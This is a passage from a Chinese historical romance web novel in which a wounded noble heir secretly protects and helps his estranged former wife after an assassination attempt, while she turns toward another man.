马失控快撞上前方一棵巨大的老槐树时,他突然两臂将她锢紧,抱着她从疾驰着的马背上跳下来。 只听“砰”一声巨响,她被人抱着包裹着从草坡上滚了下去,直到裴陆戟后背撞击在一块巨岩石上,二人才终于停了下来。 戚央央心脏都快跳没了,躺在他怀里,胃内一阵搅翻了的恶心感觉,想吐,却忍住了。 半晌,她缓过来的时候,连忙吓得坐起,推开那紧紧抱住她的人。 “你!你个疯子!!”她头发凌乱,眼眶红红的蓄满泪水,惊魂不定地指着他,控诉道:“你想你想死就拉我当垫背!” 那边靠在大岩石上的男人唇角一抹鲜红艳丽赤目,他捂住胸口的位置艰难地坐起,坐在地上吐出几口血后,单腿屈起,把手臂支在膝盖上,看起来惨兮兮的,却相当有闲情雅致反问道:“谁拿谁当垫背啊?” 说着,他就支起浑身是血的身子,朝她过来。 她吓得泪目道:“你!你别过来!!” 他动作顿了一下,唇边笑容僵了僵,“只是看看你伤到没有。” 戚央央误会他的意思,连忙流着泪点头,身子趴着挪拼命远离:“伤伤重得快要死了真的快死了,你你放过我吧” 见她哭得中气十足的样子,就知道最多只是受些皮外伤,刚刚抱着她跳马的那一下,最剧烈的撞击是他拿自己背来承受的,后面滚下山坡的时候,他也小心护着不让她伤到分毫,他自己则被磕得遍体鳞伤。 还得听戚央央坐在不远处死命哭嚎:“你这人太可怕了,不就跟你玩笑一下吗,你还你还就当真去杀自己啊你要自杀就自杀干嘛还扯上我啊” 第40章 他闭起眼睛笑了,笑得唇边的…… 裴陆戟也不知道, 救她到底是为了什么。 在听到她哭得眼睛不是眼睛,鼻子不是鼻子地指控他是杀人凶手时,他竟还能在这么惨的状况下支着臂笑起来。 他笑着的时候, 俊美的眉目会弯起,倒是惨中带着凄美, 又有半分被逗笑的感觉, “戚央央, 是啊, 我这人眦睚必报,你竟然还有胆子在我拉你作垫背的时候, 哭着喊别的男人的名字,就不怕我发疯去杀他吗?” 他笑着, 当看见她眼里的防备和懊悔时,他笑容僵着, 笑意慢慢消失。 “你在怕我, 是吗?” “你怕我真的会杀他, 后悔了是不是?” “我我怕你什么?”她只能支起身子来恐吓他, 像极了炸毛护崽的猫儿,“我家卿卿, 他可不是我,你以为那么好杀的吗?” “他厉害得很, 能耐着呢,手下能人无数,他还武功高强!你若想杀他的话, 他定然先杀你!” “当然我我也会先杀你” 她不知从何而来的勇气,环顾了四周,从旁边摸出一条坚韧的藤蔓, 趁他虚弱走不动路,用藤蔓迅速勒在他脖子处,用力收紧。 她的手发抖得厉害,眼神却十分坚韧,盯着藤蔓渐渐增加力度。 裴陆戟屈膝坐在那里,也任由她用藤蔓套在自己脖子上勒,始终不发一言。 要真的杀人的话,戚央央还是会害怕的,但是,裴陆戟出入常年带着护卫,这种时候只有她和他,他看起来又受了重伤动弹不得,是杀他的最好时机。 他这人太疯狂,也太可怕了,不杀他,说不定他还真会去害沐大哥的。 杀了他,她就算拿不到账本,也定有机会去找别的账目,到时候就没有这么可怕厉害的角色去阻止她了。 得杀这人一定要杀 但是她没杀过人,连条虫子都没杀过,她她还是害怕 “把账本还我我就不杀你”她凑他耳边颤抖道,手边勒紧的力度却不减。 他闭起眼睛笑了,笑得唇边的那抹鲜红刺眼得很。 他伸出大手分别握住她两只小手,稍一用力就带着她的手拉紧藤蔓,睁开通红的眼睛,气息渐弱嘶哑道:“不还,杀吧” 说完他还睁眼仰头朝她笑,笑着笑着口中溢出的血更多了。 戚央央怕得要死,吓得手中藤蔓勒得更紧了。 就在裴陆戟被勒得脸色呈猪肝色,快将窒息的关头,身后突然传来修竹一声惊叫:“世子!少夫人住手!!” 戚央央吓得惊醒过来,而此同时,手中的藤蔓也“啪”一声被勒断,裴陆戟像一座塌陷的神像般倒了下来。 她吓得浑身虚弱跌坐在地,便见修竹急得冲上前去看他。 “世子世子!!” “修竹,他”戚央央心知自己杀人未遂还被修竹抓住,必定难逃一难,便也没打算逃。 可修竹只是背对着她,制止她往前:“少夫人!小的会找人护送你回去,你先别看世子了” 虽然没看着修竹的脸,但她还是能感受到他的怨意,和不解。 但她也没打算让他解,便点点头道:“我自己回去就行,你不必找人护送。” 她说完正要走,修竹立马叫住她:“少夫戚姑娘,请你一定听小的,这段时间千万别一个人单独行动,让小的找人送你回去。” 修竹态度坚决得很,语气中也带了丝认清事实的无奈。 戚央央愣愣地看着他,“那好吧” 央央坐上马车要走的时候,裴陆戟从后面走前来,身后跟着低头的修竹。 他看起来已经没什么大碍了,敢情刚刚他都是演的,想吓唬一下她。 “这就要回去了吗?” 他唇边的血已经擦去,却依然残留一些痕迹,右手不知怎么虎口处张开着合不拢,身上衣物都是破破烂烂的。 “不回去,难道还陪你这疯子疯吗?”她毫不客气地回应道。 “陪我疯不好吗?”他墨发散开,浑身泥污血迹,微笑着的时候,真的很欠揍。 央央恼道:“裴世子,你觉得玩弄我很开心是吧?你自己演开心了,可你都不知道修竹刚刚吓得多害怕,你这人真自私!” “修竹害怕,跟我有什么关系,你怕吗?”他继续笑道。 她感觉自己跟他真的无话可说,转身踩着杌子爬上马车,放下帘子不再看他。 他在车外极力以拳抵住嘴唇咳,静默地咳出一口血被修竹扶住后,又跣步跟着马车走了一会,捂住颤抖的胸腔道:“明日照常时间过来!” 马车已驾驶走,他立马身体垮了倒下,修竹慌忙前来拉他。 “世子!世子!你何必呢” 裴陆戟浑身是伤,尤其是背后右侧中的那支暗箭,本来要直中戚央央左侧心脏的,被他及时上马挡了。 “那马如何了?” “回世子,马中了箭,已经在大树上撞死。” “那匹马的尸首要好好处,千万别让人发现。” “世子放心,方才小的前来的时候,残影已经派人下去处了,杀手也已经抓住带下去拷问了,不会让那些人知道世子你如今就在彭城,不过那些人势力有多大多可怕,世子不是不知道,一旦他们知道世子你出卖他,那” “你无须管这些,告诉残影去查谁把她踪迹泄露出去的,还有天成阁那些暗卫要藏好了,郝玉叄那边也要守好口” 见他伤口溢出越来越多的血,修竹不敢再多话,只能点头应是。 “派人暗中护她。” 修竹一一应是。 等交待完这些关键的,他松一口气下来,便开始找修竹翻账。 “刚才”他黑着脸咬牙道:“谁让你对她这么说话的?自己去领罚!” 由于骑马的时候,裴陆戟那疯子突然发疯,导致戚央央回到天成阁附近的时候,就已经迟了许多。 她正为沐江恩可能等不到她已经离去而失落,然后就在天成阁门口听见有小厮说把清扫出来的秽杂废弃物扔到胡同口那边的灰坑烧掉掩埋。 她想到那幅被裴陆戟扔掉的青山江河画稿,立马叫唤停车跌撞地跳出去,吓得车夫连忙伸手拽她。 她连跑带赶地去追那些天成阁的小厮,可惜小厮已经把废弃物点燃火烧起来,此时看见一位姑娘在黑漆中闯出来,举着不知从何捡来的大木棒冲进去扑打火灭,都吓得退到了一边。 车夫和那些护送她回去的人本打算上前帮忙,在看见暮色中冲出一位武将模样的人时,便止步退了下去观察。 “小央!小央卿卿!等你好久,原来你在这里!你在这边做什么?” 他陪她将火灭掉后,看着她满脸是烟灰,黑亮的眼珠子看着他湿湿的,又惊骇道:“你受伤了?怎么浑身是血?” 戚央央临时想了个借口诓骗他:“不是我的血,刚才我走的时候,那边遇到一个孕妇要生产,我帮她接生了,没受伤。” “原来如此,所以你才这么久没过来,我还以为你遇上什么事,正要去天成阁找你了。” “那你现在来这里做什么?” 面对他的再一次疑问,央央低着头,不知该怎么解释。 之前有一次,在荆王妃生辰宴的时候,赵安然奚落她的时候,故意拿出她送裴陆戟的萤石,还嘲讽她倒贴男人很贱,只会被瞧不起,无法得到别人真正的尊重。 她知道,在感情上她比别人少一根筋,若是遇上对的人,她只会想把最好的付出,根本不会像别的姑娘一样,还要挖空心思去想怎么矜持、自爱的。 她觉得想太多了人难受,想行动她就去行动,想付出她就去付出了,做事务求酣畅淋漓,对得起自己的感情,却不去想自己的行为是否真的同别人脱节太多,是否真的成别人眼中厌弃的“不够自尊自爱”,是“贱”。 之前她没去在意这些,但经过了裴陆戟,她有点怕了。 她怕这样的倾情付出,真的是“泛滥”,是“贱”,她害怕沐江恩得知她挖废弃品是为了什么时,看轻她,讨厌她。 见她低着头支吾了半天,沐江恩突然伸手轻拍了她肩膀一下,笑道:“无碍,不想说就不说,我陪你。” 说着,他也不问她要找的到底是什么,就独自伸手往烧得熏黑一片的废弃品中开挖起来,挖得满手黑灰,见央央愣了盯着他看,又回过头来对她笑,朝她咧开一口白牙。 戚央央又一次感动得稀里哗啦,差点就脱口而出,其实想帮他找一张绝好的绣样,绣帕子给他。 而此时此际,裴陆戟裹着黑袍被几名护卫架着从天成阁后门进入。 他身上受伤颇重,后背那一支短箭再偏下一点肝脏就会破裂了,郝玉叄听令把后院门都关了,悄悄从角门溜出去给他找大夫。 大夫来到的时候,他浑身都发起了高热,异常凶险。 修竹在一旁十分着急,“大夫,我们郎君情况如何了?” 短箭被拔出来后,大夫一直忙着给他止血,床帘内外一股浓重腥味,满屋子端着血盆进出的暗卫,看着确实吓人。 大夫见他的血终于止住才敢松口气,此时他双腿也已经虚得走路会晃,从榻边步下来,用袖子擦了把汗把额边都擦红了,道:“这位郎君所受最重的伤已经处无碍了,身上还有其他擦伤、磕伤、勒痕那些也不大碍事,就是他右手手筋,因为过度拉扯伤得有些严重” “我看郎君好像是读书人,这右手日后就算休养好了,恐怕也对他有一定影响。”大夫叹道。 40-50 第41章 他觉得只有被她勒杀关头才能…… 大夫说完没多久, 裴陆戟就醒了,自己披着一件干净的白袍走出来。 修竹看见他下床走出来,慌忙去扶, “郎君你下床做什么?” “我这手养不好了吗?”他淡淡地对着大夫问。 “日常生活应该影响不大,就是不能再做一些精细活, 像是弹琴、画画什么的, 写字也会有点点影响。” 大夫说完, 修竹也明白, 这对世子而言,意味着什么。 倘若世子只是一个普通人, 或者即便是一个普通的读书人,可能也不会如此痛心。 可世子他是京城第一公子啊, 他自幼便才思敏捷,才华过人, 经他手写的丹青、笔墨, 无一不被文人争相抢着收藏, 是百年难出的才子。 第一公子从此以后, 就要因为受伤而无法再拥有精湛的画技,琴技, 甚至是书写了。 大夫走后,修竹见他独自一人披衣坐在外间沉默着, 以为他是因为自己手的事,便过来安慰道: “世子,你手, 手的事情应该还有转圜余地的,大晋的名医那么多,日后日后让宫中的太医再” 裴陆戟抬眸瞟了他一眼, 捂胸忍不住咳了一下,皱眉:“大夫刚不是说了,日常生活影响不大吗?念叨什么” 修竹一愕,“世子你不是,因为手的事” “我又不靠这些花拳绣腿之事立足,一点点微不足道的小爱好,没了就没了,有何好惋惜的?”他嫌弃地看着修竹他那不争气的模样道。 听世子这么说,修竹觉得好像也有道,这于别人而言,是惊天的才华之事,其实不过是他家世子用来闲暇时间抒发一下情绪,用以打发时间的玩意儿。 他家世子才及冠没几年,就已经位居朝堂正二品兵部尚书之位,整个朝堂天下他都有资格谈论,他的能耐、他的手腕、他的谋略都无一不叫人惊叹,那些才是他的立足之本。 只有那些眼皮子浅,没见过大事的井底之蛙,才会拘泥于拿世子的才华跟秦家那位大姑娘配一对,可其实论能力,论这些,秦大姑娘她怎么配得了他们世子? 也就也就 修竹心底深处悄悄想着,也就戚姑娘原来的裴少夫人,她无论心性,还是毅力上,还有那股化无为有的冲劲,才是最配他家世子的。 他陷进思考的时候,残影跳窗进来跟世子汇报事由了。 因为裴陆戟身子还不大好,需要修竹看顾着,所以汇报的时候也没有让他出去。 “回禀主子,查出是何人泄露戚氏行踪的了,是荆王幕府一名小主簿,被秦家的人收卖了,供出了戚氏此行的任务,秦家派人来刺杀,怕是快要查到主子身上了,主子要早做准备。” “那位小主簿此行有跟到彭州来吗?”裴陆戟问。 “有,他就是协助沐将军此行处置荆王叛变旧部的主簿,与沐将军有患难情,二人关系非常好,他就是利用沐将军对他的信任,把信息传递给秦氏的。”残影道。 裴陆戟捂着胸口不停地咳嗽,咳了一会缓下来,眉头皱紧,喃喃自语道,“戚央央你厉害了,这回找了个蠢的,可有你受的” 随后他便命残影道:“偷偷把那小主簿抓来,不管用什么刑,务必撬开他口,问出他还交待过什么秘密给秦家的人,至于荆王那边,姓沐的也不要惊动,等拿出证据再把证据和人丢回给他们自己处。” 残影应诺后,又给世子禀报了一些细小事情:“戚氏没让云影的人护送回去,云影他们只敢远远跟着护送。” “为何?”世子咳了几声追问。 “云影等人把她送由天成阁经过的时候,她不知为何,看见天成阁的小厮将打扫出来的废弃物搬去扔灰坑烧埋,竟冲了出来把火扑灭,在里头翻找着什么东西,随后,沐将军就看见了她,也冲出来” 残影事无巨细将当时发生的情形叙说一遍,听到最后,裴陆戟的咳嗽越发剧烈,最后,竟再次咳出了血。 修竹慌忙叫住残影:“好了!好了!够了!别再说了” “住嘴!”裴陆戟用拇指揩掉唇边咳出的血,呵斥修竹,然后同残影道:“继续说” 残影只好遵命道:“沐将军后来帮她把整个灰坑里的废弃品都翻了一遍,后来有附近来扔废弃物的人,也抢着接过人家的弃品,一个人闷头在那里翻,却连一句要找什么的话都没再问过戚氏,而戚氏” “她如何??”裴陆戟状态看起来很差,边咳着边溢血,手边擦了又擦,却总也擦不完。 残影也犹豫了起来,声音也小了,“戚氏她哭了,哭着抱住沐将军,说他傻。” “傻哈哈哈”他擦掉血笑了起来,“不那哪是傻啊” “他是蠢!!” 裴陆戟自欺欺人地笑了起来。 是啊这么蠢的人,曾经他那么厌恶生得蠢笨之人,总觉得这些人不光脑子不灵光,还总有一腔多余到简直泛滥的情感,这些都是他所轻视的。 可是如今,他却被这种他完全看不透的人,惹得他心烦,痛苦不堪。 笑到最后,他觉得气力用完了,彻底虚脱下来,眼神黯淡,一丁点光都照不进。 “你们退吧,我想好好休息了。” 残影应声退下后,修竹依然杵在这里不肯离开。 “世子”他看着他家世子那个孤独凄凉得像被抛弃的身影,于心不忍。 “不是叫你退下,没听见吗?”裴陆戟的声音低沉平静得像个垂死之人。 “世子,你本就爱少夫人,为何不把她找回来,好好跟她说清楚呢?” 修竹没忍住提了一句。 裴陆戟的声音如同从地底下钻出来似的森寒:“谁告诉你,我爱她?” 他叹息,“世子,都这个时候了,你不心疼自己,小的也心疼你啊,你明明就是爱着少夫人的,要不然的话,你刚刚也不会那样叮嘱残影做事。” “世子向来是个不爱管闲事的人,可刚刚为何要让残影去把那供出少夫人行踪的小主簿抓来拷问,还要拷问过后找到证据再把人和证据丢回去让沐将军他们处?” “说到底,世子不就是放心不下少夫人,觉得沐将军笨,又爱被情感所蒙蔽,是个心软至极头脑发热的笨蛋,怕他处不好这些事,给少夫人留有后患,才会插手帮忙处。” “不但如此,世子今日在郊外之时,少夫人有危险,世子第一反应就是舍命相护,明明自己救下少夫人,在少夫人误会了你之后,却又一句话也不说,任由她误会你,还还想杀你” “你就是认定了自己没护好她,因为愧疚才如此,难道不是吗?” 在修竹的声声质问声下,裴陆戟已经没力再生气,他的皮肤向来白皙,却又不似一般文人看起来文弱,修长而白皙的脖颈处、喉`结靠下一点的地方,一条清晰殷红的勒痕赫赫入目。 可想戚央央她并不手软。 当时暗卫都已经赶到了,就要制止戚央央的时候,又被裴陆戟暗暗比出的手势所阻止。 因为他是觉得,大概只有被她勒杀这种关头,才能真切体会出当初她陷入苦境,他没有出手时,内心的感受。 大概也是像他这般的苦涩,和难过吧。 还有她如今遇到危险,已经不会再喊他名字,而转而喊别人的名字,以前死也不肯让别人说他一个“疯”字,连自己和府里的人不小心说出也不行,甚至视那个字为禁忌,可如今,却接连地用此字骂他 “我不爱她,感情什么的我不需要” “你退下,我累了”他手肘支在桌上以拳头抵住额角,闭目的神色,看起来真真是累极了。 修竹见状,只好告退。 · 翌日,戚央央如约而至,可来到账房却没见到裴陆戟。 修竹拿着一轴卷轴出来,交给她,道:“世子命小的等戚姑娘来,就把这画给姑娘你。” 他说话的语气客气了许多,也疏离了许多,央央却没觉得不妥,伸手接过卷轴,展开一看,眼神一亮。 “是那天那幅” “世子说了,今日姑娘可以在此地自由地歇息,时间到了便自行离去。” 修竹把裴陆戟交代的话都同戚央央说了之后,央央便拿着卷轴转身进屋了,半句话都没有再问。 是修竹后来没忍住,上前追问道:“戚姑娘都不想知道,世子他今日为何没来吗?” 央央一怔,“那肯定是因为他没空来啊,难道不是吗?” 修竹想起世子嘱托,顿住,呐呐道,“是确实是这样,没错” 他怏怏地转身出去沏茶,然后端茶,奉点心,动作稍有麻木迟缓地做着一切,目光在静静留意屋里的人。 只要她稍有疑惑的样子,或者张口想问的样子,他会立刻不顾世子的命令,毫不犹豫告诉她实情,可是她没有,她真的没有! 不仅没有,她坐在书案旁拿着笔和薄绢覆在画作上临摹的时候,还把画作给弄脏污了,修竹这下真的没忍住,上前失声道:“戚姑娘!这可是世子此生最后的绝笔画了,你怎狠心弄毁它啊” 第42章 他死了 ?? 修竹突然冲上来, 抱走画拼命用手擦拭墨污,然后坐在地上没忍住哭得像个孩子。 戚央央被他这行为给吓到了, “修竹, 你” 她不是故意弄脏画卷的,只是想将画里的青山江河临摹到自己手绢上, 作为绣样罢了。 这也只是裴陆戟随手即兴所作, 当初他不也说已经扔掉了, 可现在看着修竹抱着画哭成这个惨状, 她不由皱眉瞪大了眼睛:“你们世子他死了??” 修竹被她这狼心狗肺的样子给气到,哭得更惨, “戚姑娘你戚姑娘你你你真有那么希望世子死吗?竟然那么咒他!世子他只是身体不适没来而已,你用得着诅咒他死??” 戚央央被他痛哭的样子弄傻了, 困惑道,“不不是那你干嘛这副模样, 说什么绝笔, 还哭得这样惨烈, 我还以为” “可我昨日走的时候, 他还好好地走过来,颐指气使地让我今日照常时间过来, 别迟到的呢,怎么就突然连见人都见不了了, 他伤得很严重吗?” 在戚央央的意识里,他看起来虽然惨兮兮的,浑身挂满血口, 但能走能动,还能用讨厌的语气同她说话,就证明他好得很, 而且,也不止他受伤啊。 她自己膝盖也擦破皮了很疼好吧? 再说了,这明明是他发神经要拉她一块赴死,突然上马来让马加速跑,然后抱着她跳马的,能算她头上吗? 可看到修竹哭得这么惨,她又一个字也说不出来。 “好啦,你别哭啦,男人大丈夫怎么动不动就哭,以前都没发现你这么爱哭呀,你这哭包。” 被戚央央这么定义着,修竹真的有冤无处诉。 昨日大夫看完世子后,说了他右手得好好修养,要等筋骨长好了才能用,可是等筋骨都长好的话,那手的灵敏度就远不及以前,作画或者写字可能永远没办法回到以前的巅峰水平了。 世子昨日听完残影的禀报,猜也猜的出来戚央央跑去翻废弃品是为了什么。 于是,他屏退了众人后,自己一个人悄悄地将那幅压在箱底的,未曾来得及润色完的青山江河图,拿了出来,忍着右手得剧痛,咬牙完成了。 等修竹端着要更换的伤药进来时,便看见他薄衣打湿,浑身冒着冷汗,在作画的情景。 世子那副模样,不知让人有多心疼。 可他答应了世子,无法再对戚央央多透露半点。 而且世子今日不见她,也不是因为身体的原因,而是 世子他说,他这几日想一个人静静。 此后的一段日子里,戚央央依然每日过来天成阁这边,只是都是修竹接待她,裴陆戟依然像一抹见不得光的影子,深深地躲藏在暗夜。 起初戚央央就安安分分地自己练一练画,后来知道裴陆戟不会过来了,就胆大得干脆带上绣品过来绣。 她刺绣的时候不像旁的女子安分恬静,要是旁边有人的话,她会耐不住寂寞叽叽喳喳同他说话。 修竹就被迫成为那个陪她说话,帮她排解刺绣时寂寞的调解。 “修竹,你看我这个线颜色用得跟画中色调匹配么?要不要再用深一点的颜色?” “昨日我回去的时候,念叨了一句想吃冰糖栗子,结果还真有一个小孩半路截停我,给我送冰糖栗子!” “你们世子这画工还真是好,好到我都不知道这刺绣要怎么绣了,明明这上面的线条都是一模一样按那幅画临摹的,怎么绣出来就不是那个感觉呢?” “我告诉你啊,我不是绣工差啊,之前我一晚上就能赶出一个绣工了,可现在我线拆了又拆,好像怎么也绣不出那种大气的感觉,这问题是出在哪呢?几天了这框架还绣不出来,怎么这么难啊” 修竹就会一边听,一边耐心地宽慰和回答:“戚姑娘稍安勿躁,或许再用深一点的颜色试试,姑娘除了冰糖栗子,平日还吃些什么能高兴些?这绣工不差,绝对不差了,姑娘只是需要多一些时间,大作品都需要细琢慢雕的” 他下去把冷掉的茶水换掉之后,经过院子角落那栋阁楼,走上二层,静静地禀报。 裴陆戟坐在一张太师椅上,沉默地任由修竹给自己换着药,透过二层半掩的菱花窗,目光一直落在院落凉亭里那个对着针线皱眉的姑娘。 “她喜欢的话,今日让云影偷偷护送她回去的时候,让附近街道的商贩都卖这个冰糖栗子。” “我这有一些漳州产的丝线,用这个再搭配一些稍微深点颜色的线,用戳纱针法,就能勾勒其中神韵。” “或者你找机会把她绣品弄过来,我来看看框架上出了什么问题。” 世子前些日子一直口口声声说着不爱姑娘,可如今又为了她的事忙前忙后,尽心尽力就为了让她高兴,修竹又有什么不明白的。 “世子,”修竹忍不住劝道,“世子想对她好,何不亲自过去教呢?” 裴陆戟头一摇,“她不会在意谁来教,我去了又能怎么样?” “请恕小的多事,世子在这边躲了几天了,是怕戚姑娘看见你的伤会愧疚吗?” “她有什么好愧疚的,都敢勒我了。”裴陆戟淡道。 “那是为何”修竹顿了顿,又重新道,“姑娘今日又问了小的,世子如若不需要她,可否明日起就不来了,姑娘还说,当初世子答应过她,她听世子的话并且来这里听世子差遣,世子就帮她父兄翻查案子,不知道是否还作数了” 裴陆戟捧在手边的药都凉了,还没喝,目光仍停留在窗外的人儿身上,嗤一声笑道:“她都这样了,还敢问这个问题,你问一问她,本世子当初是答应过,她若听话了讨得我高兴,就帮她,可本世子是受虐狂,需要她勒脖子,还是喜欢大发善心,让她来这里干自个的事?” 修竹不语。 修竹告退转身离去时,裴陆戟又叫住他,“让她继续每日来天成阁,我让她来天成阁是为了什么,你清楚得很,至于她父兄的事她日后自然明白。” 世子虽然嘴硬,什么都不肯说,但修竹还是明白,他这几日其实都在逃避。 逃避自己的心。 因为他跟他说了,他爱她,他在犹豫和逃避。 重新回到凉亭中,修竹把沏好的热茶给戚央央续上,央央笑着跟他说谢谢。 见她抿了一口茶,又无比认真地低头拆线,修竹忍不住好奇道:“戚姑娘绣这帕子,是自用吗?可未免有些不符姑娘家的气质” 一谈到这里,戚央央双眸发亮,甜蜜地笑了,幸福掩盖不住道:“这是一个秘密,送给一个很重要的人的。” 在国公府待了这些年,修竹不是不了解这位前裴少夫人的,她从前围绕着世子转,每次为世子做事时,就是这样一副熟悉的笑容,可上回见她勒紧世子脖子,一副真的要置他于死地的模样,已经能肯定不是给世子的。 不是给世子的,那 修竹恍然大悟,世子盯着她在刺绣的时候,眼神里掩压不住的嫉妒和发狂。 也明白世子到底在气什么。 可即便如此,世子他 想起来世子刚才塞给他的漳州蚕丝线,掏出道:“戚姑娘,江河线条的部分,或许试着用这种线。” 戚央央接过修竹递来的线,看着那纤细坚韧,又不失柔软的蚕丝线,真真是刚好能绣出江河湖海的宽韧和水的柔情。 “妙!用这种线真的极妙,修竹,你太厉害了,这样的线都能被你找到!” 修竹苦笑,哪里是他厉害了,明明就是有人不惜以自己会嫉妒到发疯为代价,也想讨她欢心,可偏偏又不肯露面,风头便全让他沾了呗。 “没那么夸张,小的并不难找,随随便便就有人给小的送上来了。” 他说的也没错,不管戚姑娘如今想要什么,他家世子都会随随便便送上来的。 可戚央央想的却是英国公府家大势大,修竹作为一个一等下人,偶尔会有人巴结给他送些好东西,也再正常不过。 “对了,戚姑娘刚刚不是说想采一些花回去吗?后院里正好开着一片极品的牡丹,小的带姑娘过去看看。” 戚央央放下了绣品,跟着修竹走了。 这是一些品种极为罕见的珍贵牡丹品种,就是以前在国公府也很难得见的,戚央央一看就知道了,连忙摆手道:“这这些是郝掌柜好不容易收集的吧?难得开花了,我摘了不妥。” 修竹却熟稔地解释道:“不,这些是昨日刚刚从京城运来的,刚刚小的不是说了吗,这些东西都不难找的,随随便便就有人给小的送。” 其实本想将金丝皇菊送来的,可戚央央先前说过,不喜菊花了 戚央央想着修竹这贵门豪奴在外头还挺吃得香,便忐忑地收下道:“当当真不会浪费吗?” “不浪费,反正给小的,小的也不懂欣赏。”修竹道。 “那好吧。”恰巧前几日她见江恩卿卿审犯太久弄至头痛,以前她看过些医术上说,用花的花瓣入药泡脚能通经脉、缓解头痛,原本想着得空去郊外随便找些不值钱的野花捣碎了做的。 戚央央采完花拎着一大篮子回到凉亭,打算继续绣,拎起绣架一看,顿时傻了,慌忙叫住修竹:“这!刚才有人动过我这绣品吗?怎么好像感觉不一样了??” 修竹心里有数,却装作不明道:“戚姑娘感觉哪里不一样?不是跟刚刚离开前一样吗?小的记得姑娘当时就是绣到这个部分没错啊。” “是绣到这个部分没错,但是”央央其实也说不上来,感觉有变化,但又感觉好像本应如此, “可是我怎么感觉采完花回来,这些原来我不满意的框架,突然间好像被注入灵气一般,都流畅活了起来呢?” 修竹笑,“那大概是因为,出去转转心境变了,其实小的一直就觉得姑娘绣得够好了,是姑娘对自己要求太高,给自己施压罢了。” “是这样吗?”她疑惑,但习惯性地很快将烦扰人的事情抛诛脑后,笑道,“算了,不想了,继续吧。” 修竹应付完,转身的那下,感觉嘴都笑僵了,同时也对他家世子钦佩不已,早就清楚他家世子才华横溢,样样精通,只是没想到,在女儿家的刺绣上,竟也难不倒他。 第43章 他渐渐露出笑意,哑声:“她…… 从天成阁到戚央央下榻的客栈一路上, 皆由云影带人连夜挖地埋入了精良改造过的牛皮吹制气囊,用于沿路对一两里外的杀手进行追踪和反追踪。 当初裴陆戟让残影安排云影等人在沿路设障,便是为了未雨绸缪, 以防秦相会派人像现在这样找出戚央央踪迹,斩草除根。 他借着巡视粮草为借口, 悄悄前往来找戚央央, 也不是真的为了要找她的茬, 给她添麻烦, 而是因为了解秦相那个人。 当年崔氏为太子立功,却反被搜出罪证全族入罪, 一方面是皇帝不愿再被崔氏左右,但另一方面同秦相是脱离不了关系的。 他本来是不宜露面的, 之所以在戚央央面前露面,又冒着风险坚持带她去郊外学骑, 不过是想要弥补先前自己所忽略的事情。 希望她能高兴些, 还有遇上危险, 他不在时, 也有逃跑自保的能力,不至于再像淮东那一次, 摔得那么重。 只是她好像都不大喜欢那些以前曾经喜欢过的事情了,如此, 他也能遂了她的愿,不再出现在她面前。 “回禀世子,那名主簿泄密的罪证和罪状已经连人一起送回到那位沐将军手上, 可是沐将军只是把人拉到戚氏面前磕头认错,打一顿后上报荆王,然后将其赶走。” 听着残影的汇报, 坐在堆叠公文案前的裴陆戟左手握着的笔杆顿时捏开几瓣,气笑道:“这种吃里扒外还利用他的叛徒留着不杀,竟然打一顿就轻飘飘放走了??他是傻子吗?” “因为那名主簿在沐将军落难时施舍过一顿饭,又带他引见了荆王,他要还恩,而且” 说到这里,残影有些说不下去了,“他他还帮着那主簿说情,希望戚氏能原谅,而戚氏戚氏” “行了,你不必说了,”裴陆戟用手揉着前额,“不用说我也知道,她定然被他一说,就立马点头答应。” 残影心想主子猜得很对,但是还有一点他没敢告诉他,戚央央不但着了沐江恩的道,他一说就答应,还满眼放光地夸赞沐江恩知恩图报、有情有义,是真正的君子。 他觉得主子知道了定然会当场气死,所以只好把嘴巴捏紧了。 修竹前来给裴陆戟的右手换药,见他今日处这些公务处得极快,就知道他心情不错,忍不住道: “残影把罪证和那名主簿送过去以后,戚姑娘就会明白世子的一片苦心了吧?她上回不是误会了世子吗?这下她该知道世子不是故意拉她下马的了吧?” 裴陆戟好心情地阖上公文,伸出手来给他,一脸平静道:“做这些又不是为了让她知道,她爱误会不误会,与我无关。” “是是是,”修竹笑道,“这么一来,荆王也能知晓是秦氏,就能早日作出防范了,只是世子费尽心思隐藏自己,这么一来,被戚姑娘知道了,也不知道会不会告诉荆王。” “荆王知道了也没关系,当时我选择不让荆王知道,是想让劫囚的事显得逼真些,如今人已经到了荆王手上,相信荆王知道了,也会帮忙掩护的。” 说到这里,修竹犹豫了一下,还是再次劝道:“世子为了戚姑娘煞费苦心,虽说不告诉她也是保护她的一种,但是小的是真的不愿意看着你们因为这些误会而真的分开,小的看戚姑娘已经对那位沐将军” 裴陆戟垂睫不喜地望着被包扎得密不透风的右手,随口道:“就算没有误会,她也不会回来的。” · 裴陆戟在一定程度上,还是挺了解戚央央的。 但他没想到,她能没良心到那个程度。 因为把那主簿交还沐江恩处的事,戚央央已经知道了裴陆戟这些日子不见她,其实在养伤,今日她随意拎了几个橘子就过来了。 修竹见她来的时候,格外欣喜,殷勤地叫了声:“戚姑娘,你今日来得很早啊。” 他一面期待地看着她,果不其然,戚央央开口就直接问:“你们世子,他那天受伤真的挺重吗?” 修竹激动到不知说什么好,背转过身去把欣喜的五官胡乱揉搓一顿后,转回身去面对央央的时候,就恢复成有难言之隐的模样,“戚姑娘,这小的也不知该怎么说,你就别问了,反正这事既然已经过去,过多去纠结也没用,世子也说了不碍事的。” 戚央央吁了口气道:“既然他如此明白事,那很好,这里有些水果你替我给他,日后也请他不要再多管闲事,说真的,那日若不是他执意要带我去骑什么马,也不会遭遇这样的事,若不是他从中阻挠,账本我也一早能拿到,说不定已经离开彭州,也就不会因为彭州一行拖了那么长的时间,导致军中有人把持不住,出卖了沐大哥!那沐大哥就不会如此伤心!” 修竹瞪大了眼睛看她,咂舌道:“戚姑娘你怎么说得出如此没良心的话呢?” “倘若觉得我没良心的话,让你家世子走便是了,既然和离,我们大家好聚好散。” “但是如果他还想些别的,那请恕我无情了。” “朝堂之事波诡云谲,极其复杂,不管我看不看得明白,我也不想看了,我一生之所求,其实极其简单,不外乎我在意的人能开开心心,我日子过得安稳,做事求尽心,求无愧,不必大富大贵,只求顺心如意。” “你家世子看了我这么多年都不能看清楚的话,也求他别看了,有些人兴许生下来就不合适谈感情,也许天生更合适参与到更复杂的事情中诸如朝政博弈啊、政治党争或一切的阴谋阳谋,那些事谈感情的话就不大合适了,比较适合天生凉薄或者寡情之人,我这么说也不是在阴阳谁,或者批判谁,我真的没有这个意思,我是真的觉得不一样的人就该去追求不一样的事情,没有高贵低下之分。” “反正就是说,有些事,勉强不得!” 